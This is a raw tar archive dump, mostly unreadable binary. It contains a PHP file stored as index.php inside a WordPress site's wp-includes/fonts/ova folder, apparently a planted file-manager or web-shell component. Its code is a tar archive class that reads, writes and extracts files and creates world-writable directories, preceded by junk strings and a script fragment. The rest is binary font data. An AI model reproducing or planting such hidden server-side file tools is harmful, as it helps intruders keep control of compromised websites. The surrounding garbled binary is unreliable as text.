0c"`` W*U$a" IFÎ{ ߙg jD.t/P}.Zu%آY'6(e.m)&hp}xps FEKuQkhƎ%eIC0^;wzΌjTHA8{Qqu$1}\uWbv&iZZq6ʬBIE.*,V1͠kNFSaxDt]`1P-E(m}/˕bhj zQE  U *3O4=zտB@Hil$'1=XB3"JRj "Rr<$lHf <)")04ɌxH }4`8 ?Vt'=E+&oPz h,ЬysĻBB*H"&y}x0U 'inYf  @ˆC (5A @! ]Ʈy. L524n0q?!=_Q=Ď{f,P"u=V믢"W ^Q}5yDCv{9Y`57Sa>d8`9#pXvs(ۇ]J.U=vgtLw@^$V*8I}%i&`?t#!2<-20//^ӂQm86iamv-V6gxXRf͕^1ECf#9*ӈfCo.   n^x⒀**3T(dA*l,]P{/VHdفޕ%,j^L -֬7t=QB%;GqUvlYφ,YȜ,c!sMh۠TFޤ2ɸ"]H|D%bʿ2M. 두e[p&4Y 26v>P$qy(0eL6!qk6 T3F[C$L^\ƿ,b]8׀mabXgBp[8Y;LVֲA 3*Y_ R+ OHN{qӃ)~OEmN 6\,2ہHoJb,^i5 @oBc7ӽyRT{@oz,v22hR'D[<uDh*#gO Kͭ'FTx58642pP\zV2>^<.b|7<٤2rmuNqUo~h ]Z ;}^k@Y`e=#(<#"+:t\"S"@`C/LdF ˦|ו/_@}]!hIh@h "%XT1}Кcv=nDM 9'o&ci@Uh $S LD٭= EɀޒY@Ֆ}P^A=g|`bf-x㘾#:}eNװ(J5 1֜FiDSb z^{I=A[v8>L#LTats -KlsC&bAzcJEϤɏ,w9#LXN.4A@w Sqps|!b7P}s11=W1qɮ1Cسl7X4][4TQsrp-j#֢M9 ffσ@ s^ 3]/A Sy} tG7A&43;dSdla7G>|^x|xOނ?Rw'o7fٻ[n-|dI9zl֫(%aF͞V"MƙUZxn{$ "v)ǝNPv$ԡ ^fPQ[sIjF6:lZ me/CId!dI8{qҐhx]'*,U]Ef?r8gr ~0({4͟D򓲇#tA;NqM.G[LhNwA;s 'U,pCyڞ MQi#D~vBͽr9Ә PrgImn$+]/T 6Sl'q=B1٘#5@xͦf$/`Do 9r)<[_LAK$AQ$g7QbA{xsnIh4sm~bd,wŠwh&@ki(mjB^z?`^r^BpYb" րl`^? cHz 3#RJbR *H̝ ]XN.}5H} Ɍ񩈙K1Fd A@Cxl E6{p.9`mN` m@fuR+L 1zkew1dSR4<. A^ﲑXO(kP\\Df.i&mwfX wX[SZvHxJ=>Ѣ[9;L"EGsOz~,Fc4fuuMNGU=t8ga#2)No%Vriaj9>4׉U'!!JeO\aQFr-Z.矕箢BLX"ZDJcCYOKκgRx g 2Z"+gӞ*qDzBxP6wEXGRi>V+)Tf?tg,{7OH[TVc X'?̣լ[VǵCaJT6:FBnIIi/ErYhLx*z3-ym!r[R,+Y`GSYKw]T*9?Ef\ѓT|PLB&Ż1Y&ylX܌'6,qeҞƴk7d}K]g+k1._PaL&ԙd2On/V}=KBq6K傤x3NwfIAHG*4 ^OˈT'{onBNny¢ۏڂM:],=26W8m9r͇ތE  z˺5!9+>q2lu 7f1.wEx95׹}X.ÊX*&6JMi"BV :G4;Ĥ"`t^WnUap!jXiD+, x@*=OWTX-\qO@GRA^*J=۬HV5$Fs { onFLF T' (޺eLp`ۋF.'#@a54ALPT1?gb;z:7ũZY k 6NXuE/j$3vz HCANc/޺98$lL o#[,v`4I; iqo:@vrmVd [nubod!`9=HI.JA5qa+71!Xةq}$¹rĿgq2:UO[ga^Yš5[8g^4fjcLsdͿ50j&[p;+W5%䲿1?rqE 1zWI+`ڛ9H z77AU n1SED r z @M+ʙXX_oݼA)$k}FG¤*aBԲ~_D8Vݜ2uΰVYx+QXyny7k'7. \ڐCNZXJ98΅9ob4P,vcZL|dP$46]& 3!+6dǁWʧ<9w|^; X@,K̺^J_n:3.uw#μU[+=w F |4tٷF8MfT3gϱ NeX!jo#vH}RNJ: D9%kP3a#͙DrϢ.Z_#W1XĈ%stMB {"gp/L}a ]G] yMwSa35C4i$D 2i DG7̾c4}-:Lڍ:#RN5mקQEOL:o/eq/Z[Mq08,w0kI=k9}6ċpH0 _w *:rTz{}nnڙ}B4hu].cboqwc l-GoٴC̻7pe $9ćvY<`n|Pp T"Ecog,)&rsX 0ћݴPb汕0#l+ x08;bfOH~_Dzf`pg؟W#CȴR8P4pqbĝZkLZ2z0Z;QS# ّfK2= P\kqt Y2&IzU}^\VTU0+z]7WP( ];(S/χ׫+@ue`~bhȄe0R4O #&Fnx܇=NcIpC,Q@ g5Ⲉ&0qHҕgU3+hK$J `H<MÞƆZׁ#Mz!SYg8 M eRKONZDj0ҋ3BL!dzި]Wj=i5zVrNл? 72yTy\P,4;,;ZP%ᵍ a53e*+ _:|>kI=/_"䂈ӑ&^$2` :ה'/!' " z>bvrk>vf57W _DU/Q⿑¸,i'2Y,7f2FNPJc1SOC[eɌfeR'eQSgcʥT?!hxd[25kòS B.IK1a4ʅ]&SȈ~c[_e-sgB3*ޱkvXHL/W Y{R͕3L!*s[Byky/+ZRk4ڹfy7i!VWd$"y)'Tދ=! C#_w%%*Y]丩<1?}بv2J]lm OYUGY6l p<flX?R(&ra+e㵶 +.^øc*ˮжZh=UO9 Z^0Wv;4)DSiU)JbzJ]'hV [?FZa鮝c%9Hu*q~\a:S,hgְ<Ԯh;.Ҭ5-l)d'lesf\Sv1rV~\ᶹ(v f*\l+sa&fX~^$wVln3vulj(Jt<~caEs{1lgFo:ʢS.vwrz8.'MXhmǫmiUnriiG;j7ophIiѿklJI_5j{#0j,#Lj7R>ewA>clZNk\6& ٪r]FLR nƝL+׌g[S!kU\#TzrJ{Y0B޴'j񩠤M6) m%vy#3ovߗBxi˾je,%smy& |<8+U̐k:D N(K}չQn42ѥʪ®Oxӿo%.#P1f.!mhD1į׵)MJv>(eF*^bZnk;u^vK]\JnѭH-[*ne\,Ua9ֻs[/ZZ!w].DaЉzB[enxJO:/e8ykѱV~jX?yVPr>xN,XZ] Յ6JhVY(&B'~FD$XfIe4S됼 O.Xn8_`sqwFȟ'6=Ƌ*/D7\fOO[*2$>/U}nJZ,P\{5.j'BtT\݆+_cMV13SAZu*.G4TDUߦ1q6[TVԍp'W}NU-9Ѩw+eVnȢׯv!ΥՒצkئSO:esN߬[6tW^'" 7n5MDhXl~v]P6w])&;y PȷUW6I^ mґ!_,rUk.|zh?XFe5Lk||z,J֪>\Wm".~8=h)?P~2yG#Oړ'ZWJl#N<ϗs$J]<)!)W NU! A hB-p<aIjTK Q1>:w(ӌdy('T; yKho} tK/w86ai{|DexN=?R7P_ocNr# Fi7CiS鏶R+f$>wdZѐDWJ:7S廔Fqmm*l3oT!îkוz3ɳTMҋ8?,LC6𮵑&YP 3w|A5a..=L$Ac56nGN/cE fJȌcn6DSb,%l|W2aNlNx>Zzޏ%ݜƗ^G(ӛ*jn;.wbD]crO뭚wMU'ȣm3kI\-P-S<75̿ےWv.'Z_ꎣV**H1Bz'UcOʕعT[䆹zD|b3z<ŋFn϶GOirjX]׭AZcCiҿ2BJ)=zwQ.<h5+tWFfm{bf6|LjjT^ݦ]FF0RgrlJnyHrdL+Gw]몔+frYU[q҆?W0jР{u Fm&4S"?d})ץK%eE3&l}pOEyie)Zbvio֑ng؞<;ؕa -[?l!Ba -[-=? 0Q[HĶY$Im}Lyg9elVagp.ˏݬ(z}ؖ6¦8ni"q\hܓޤ=ÎZb "Q]."wcocظVZQ)ӐĵwF9JTi3*~]`QA:nVR6ŸlԞ7JI]V*VA\Oȕ)N+^c7c+YnQMy<U,/xҒ.y~:}/ׅRp|rUFgfd~*k27ESqZ|lKPVVJVSwsao)>S-%n 㧛=Dp* /-jSuP&BxM)sV+YMGqc7>ފs^DN%;1˴C^"V5uf &aҽcQOx~'TQHCqY隱en$΅@ԦrQ~-FXj)ewZ4Amԟi6^.pg5m]+S3*vUq]mSU׺O%7O /tơTnKr|jUݦz'v~̯JcםE5GM)<*86G;! ӵdeuy[^U!j'5]T2Lt# $~K~ۍWOB1W'}6} m͵f}@vWӇP,ء JR\rTstl")nl_JV~4~^=5á$=ܿoJ6Wdžx؈smXYd-ӯMl7w=yF!*pbs4]$)evS[! ?"\۞~k0b6rVRX.Ö́ ~5Lvիns!Ӧj~њ=-[j-?KE9AvݝD'WHڵpE=6d K/"!߀bq.ɾ-ecI!?{@y2mh 8,_W'^d6 ֹD9U 2a>T") kGƾ}HPl&(~ / D4vƟeO;z4t'z"눆>BXW-|ɾ_ǠM`pjs AiD>sz y 8D*NOVniqPP$X>zEy?!')*SAYyyu [[rhG qf3ll&s?7Lɕ/$eaggj,Ȍ?dO2k'ͮGȇY-!Xo^Q ։=5ca0)'MdNo+ShnvzCtK{8=x,s 8{=|z#6OK֢sQ- X0Dqt#/3h 4rID^9AR(_fq&cboGy̆ |oΙ5!J]:}\p&5ȲUAhH2>II>BM1\Ǡr>SNjSnEN M$_ "77uNP'}Ӡݐ )(/=zZvu)50 D03W <"Z rqw3NBrA´Ӽ8x.?@auw'yzr~e[? ӑig\hE%~sH:{ao |FQX[G:1Zy,C j=Z_xElLdQq'.&6M1TQIY"j2q"ʼnC P05Hڨ*8(vy;0D/nvM|.w8mW|vB}5ƻwO:\Lu,9iu cx8e,a O-]P/TAӼ`b/AӽlӯdN&8j~o\ 5XB.WXd˖e7VֵYejCz8˼W =ܴJ ޤˬ&%r6m:c<%s]@Žeu6kw[EE`[bٍn;%wƤ+ 0o*&+v/WSz@O @`FSap fUN0]i=(G7sB_M 8Es߄8/b¼kA?69o!L.WStcik'7ԊnrP|\NZ?;dH =[{v0Zgyl4@c?];C aAod}ԐNdJ*Ou,.]ׁ~|Rj'NXy۬9<=6Kω@P4iC0s\E#@ 1ǝYGkuS吅ҷv}SeqD;yx_f2 a)`p X;>4 ӡ ( Hp u*F ' *ơ9'9x U`h}Xs2ھ(X|upBj*B̰& X;,I_D;酐!mLC0 |;y.:dᏵ?ЎW /O@ӊSe1 r+N`c#Hz-ʼcYkb nKx_< ea,JPH7T(|0~4pPӾv(r#+l(h ʀ'4bת`c$9A`2?qg^^'fJ !P)~ arIl`IY1J0lm.%0Bjl'aCdZ{+| k/3ES,L ڷ]MvEv ~}7Z20K!"JG=$ +䗃<('?&Dj8w %NLH }P{MY=(>zIA8dsBtWTjFt{}n0x"Ng\VKUӍz݅‘h,H~<(s_>L >.O97` C|dAD>f~Cyn]+HeHHD–"hp =r [|ęڇ8.5!L<4=1a*$2DB&(ڼbޠ_ ~$%HjPÌ7n&EfRJXVZLh .! z0;A?D[@  d$PC*F  Pg^fG_I=#3@@FUGHlHRNbfDs%1'.G2ǜAK5zcpr9'm}ɒj#Htnu-[x~p peۈoU8%Ȃ2ScpWOT׍+O| ]vU4:l> C$~367;JAzH3Ln3쥃Dm.B3#w_.,[nMvɋ$j:=Tq&% l6f60sH9@+-cXy+ӚZur8yRE>uOGac@fg-04tk |=_-󈉶yas$ ?s4>bQ[dE̓#Р,QӍယuaxGn.teuqᕮI-HƐns<]lOQBx秦޷uc4TLnAG\e,bc+q1eNR-h g^`= 3st,yދٱQ$UGZt?mLɏNd9;2zSa\5韝N *s"6xCsye5::}(8yi^ >1 |4<\ oW==u-[IUJ#Y*`{ըa#޵ׄg-ižf wmKݜFda^7)`RIE_/pԺ0fs Y[[^ ƉeZ]+%Etr!m#k%-)qQ~9 yb;wܝ y5ZzGśS2{14ټ|W0QW)=LF Wyu%Q2mDރW% k\18 g{Rtc 8xØ[L:bgnKWaƻ4I@y ^ >ڙ^;$&sZf(T k^P5Bx6K{ٴ }:dpQJxlr%d.T\`+;y[hF4ah_kvv2$Q*$_ʎc '`RϨ  ȮmD˻WussrȥeItWGAS0#c$;m)ƉC8d;|Љ>os%*x=[w K<ݾ6^<^L8# W |Q+֐M87x K9-H K)sb˻m=6kf~}[  WrEfKJ[G+ Mm֓L^ s\ #O~1a4kH4a#&6(c.X=6}FAaq|>k÷či*g1#)R2k!i!f6pru!$#Ύ[~H8IZHkΗb3OS;G4nN-Z.=[L̾/=:d$> ($Vv͹ZdR24 ^ۗa'̲0xG=üwЈRE:qa6j *X٦-7oM!k'|2U0w!Vy8=A;mͨWXba|dÞcb0"X={_͑ N6r+G'fIn}+qɪoȳ3,ីh`I !+?me|̯|{Ոv(r Qv"Jjѯ>N?{6װIXLaeP[4; lniT2b+?u1SSĬm+wߨO2z-@9umUu>i~-8(s7fN5L mq>%j 5P}ãªmOelR TȔ`NK(#m&n{17]{p,er|FQyk T"֞oh T$QED߅&1y@pP$6˥ ?"i*?#@f֍L P)VY.1"E#i%xa5禊JEYQ!5v{sbQyaUquYX&!a a"ĞDC$cAI02uWS->8EU bپ(`.:2 ]]CH*ҙF]~us:Q.TثHW+_ֻ~ϠnnYf0,N. G2aWI>."hd<ΙE<'1g8.Bg<g-[&BòDYسb"itԃ%& [EmyD(#OwJѨ;\1cCcUnj 4ϫIcUe' |bE !@Ѕ6A^ߙ-Ƣsq6[#6ƔD¢3 p ,n[NjN 07z0 o.*@3Pʊ#(F )a=ڏhƱꅹ3x ld)f!$ Vx[w::| oԜb A\<|'rq\wto?qca~V⍍Ģ{߯漋|YXww>DpLGq z9| Ox͉z=8~0pj+7KpC]Hw5nدgtOh% w5:YĪ][ߝzN`MNTj]m .rK$K5+){;3aq8H[쮏@gev45tӊߝA0.pB[ }>O m{#>PK[XK>> index.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php000064400000233533150547034730020713 0ustar00nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
    '; foreach ($Errors as $value) $message .= $value.'
    '; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PK[?Sdashicons.ttf.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/dashicons.ttf000064400000156110150547064360020775 0ustar00 0GSUB8BOS/2@O%|Vcmap_>$glyfqdE@headf6hhea7H$hmtxPlocalAmaxpo name+_"post#2\,. T_< 66 T  ,DFLTliga fG fPfEd@G.,, <  )9@B )9IIWY`iy )18CG 0@B 0@HPY`bp 03@E<vx"""0BTfnt  4 >JKHILGO. KQ5EF\GW*ZX]g$'.-JR $%p&'() 2M34H[i: OYEAjklmnr6 TRt"#7MSPywvx~}hBCDSQ98 L/0q@P1+N5s76D%&+,()"#:<A@8;=B>??uV*o-z{9/,!U<3{|;INC!bcd^_efa`2=1F  0 V     4 >JKHILG O!!.""##$$ %%&&''(())K**Q++5,,--..E//F0011\2233G44556677W8899*::Z;;X<<]==g>>??@@$AA'BB.CC-DDEEJFFGGRHHIIJJKKLLMMNNOO PPQQ$RR%SSpTTUUVVWWXXYYZZ&[['\\(]])^^ __``aabbccddeeffgghhiijj2kkMll3mm4nnHoo[ppiqq:rr ssttOuuvvYwwExxAyyzzj{{k||l}}m~~nr6 TRt"#7MSPywvx ~ }!!""##$$%%&&h''(())0011223344B55C66D7788S99Q@@BB98 L /0q@P !!1""##+$$N%%&&5''s(())00711622334455667788D99@@%AA&BB+CC,DD(EE)FF"GG#HHIIHH:II<PPAQQ@RR8SS;TT=UUBVV>WW?YY``bbcc?ddueeffgghhiiVppqq*rross-ttzuu{vvww9xx/yy,!U<3{|;I NC!bcd^_ e!!f""a##`$$2%%&&''((=))100113344F556677 88@@AA BB0CCEEFFGGPp0TNnR@">Rx  . @ L ` p | V j  d  @ff lp,&H `v0P<nBt6NfvB"b,d&Rx8f  P t ! !B!"L"""#D###$j$%%,%j%%&h&&''>'~''(P((()).)b)))*D*l**+B++,>,z,--2---.p.../L//0L001 141\1112B22233Z334`44455N556"6d667$7H7^778:8r89969P9j9999:n:; ;~;<<<2<<=N=> >>?(?f???@@r@AA@AABBDBBCCZCCCCD4DDE EDEEEFFTFfFG(GPGhGGH H@HpHHI&IZIIIJJNJJJKK8KLLM@MtMMNN4NNO OZOOPPBPdPPQ Q.Q`QQRRRvRSbST2TXTjT /%'767'7676?676227s& 9 ".   #!  &  .   $    2".4>57\66\n\67\i6\n\66\m]6b32+5#"&=4633 3656'&'&"17>767676676767676  $,$/ 3 #T  ,  -(  #  0%,$    "# '0%#'#5&''7&'#5367'7675373264&"8(6(M(6(77(6'M(6'8 --@--'6(77(6(L(6(88'6(s-@--@- ''753!55#'f4f&'f3("8'764&"&6?>764&67.6?>2'9j .j'99Չ j'89+(8j!-99'j. j9'ډ3j9'+99'j.!*6%54&+'##"3!26'2"&463"&46325#53"&4632M +"f"+   %%5&&̀%5&&Mf3%5&& 33 &5%%5&'%%5&Y%%5&   %)-''7'575#''7''7%#5%#55#!5#mmmgeffL4mmmmfff̀444P``pp;WXZZ4++g__pp__pp3YZZYYZZ@3333'#'7&67>264&"N$0M&M BB'BA U_3%Qz 7!3!33M3M#'767+"&4?547676PS0S d   SSS0S4   c"ZSS!7&'&7676?'76?> //1 .>H H>/1./ 1.>H G>/ 1+G%4&#!"3!26%32+"&=#"&46;5462#"&46;546232+"&5  M             f4  &&Y&& 3T\"2>4..'67&"&'&&7676'32267&'&765&'&'.'&'&676767667>j>>j}j>>j ,   %!  5/   ! I >j}j>>j}j> 3      9!     6* $,'Bl   (0<k"2>4.67#&'&'.'67>76'267&7&'&/..'&'&'&'&&'&6'&'>>j>>j}j>>j       ' W F2  "   #  Ob0>j}j>>j}j>           $  %  .;5 #(.39@ELRX]ci"2>4.3#&75#5'#676#67#6733#&&'&'53=373#675&'3'#&''#63&'673>j>>j}j>>jA7& ]#G&] &A7]R [&iF&\ &A8 8&. 0  - - 1 - 0>j}j>>j}j>#"!P% #"#ErP %cE#"E$!"FE"CO% ON %rE#"E$!""$""!$g$+A$+#,B#* :H"2>4.6'&'&'&'&'>7&'&'>7'.'&7&7&'&'&'&'>j>>j}j>>jh  =.fA    3O" 6   >j}j>>j}j>L,"  # ) >O  P#.&Z+   '"&4?&>7264&"F 6& 2AJHJ &5 E2 JIJ@)"'&'&/&76272"'&/54>3 M F6 #"0S0""5  & &  B/"6@  @5!;&'764'&'764&"'&'7'7>/764&"'764&"'7676Y> .    :Z P.@    a b    >.P Z: "   1 =W ';O5!57>'.5!#'&'5>>.'.>767>'.>767>><4ELc2X 7 -S  R3 (!  A 6- 3Tl41C f  ` 7  a    7    !5!5!!5!Mf33f3f3%!!5!3f3 !5!5#%35#35#!5!MfMMMMf3g333 !5!5!!5!Mff3f3 7#735#35#͙f4̴33 %#'#3#34f4343 !5!35#5##35#!5!MfMMfMMf3333 !5!5!!5!333f3"P[%#"'&326764&7&76327>'672?6'&'54'.#3265>"7#"&54ISo\*h8-U%+' ( "#%, *+(Z  6%'  #  %4  M  #  ' #|  +!%%!!5!3"&46527#53#53#53!5!fg4M-@--:gggggg43fMMM --@-33g4gg 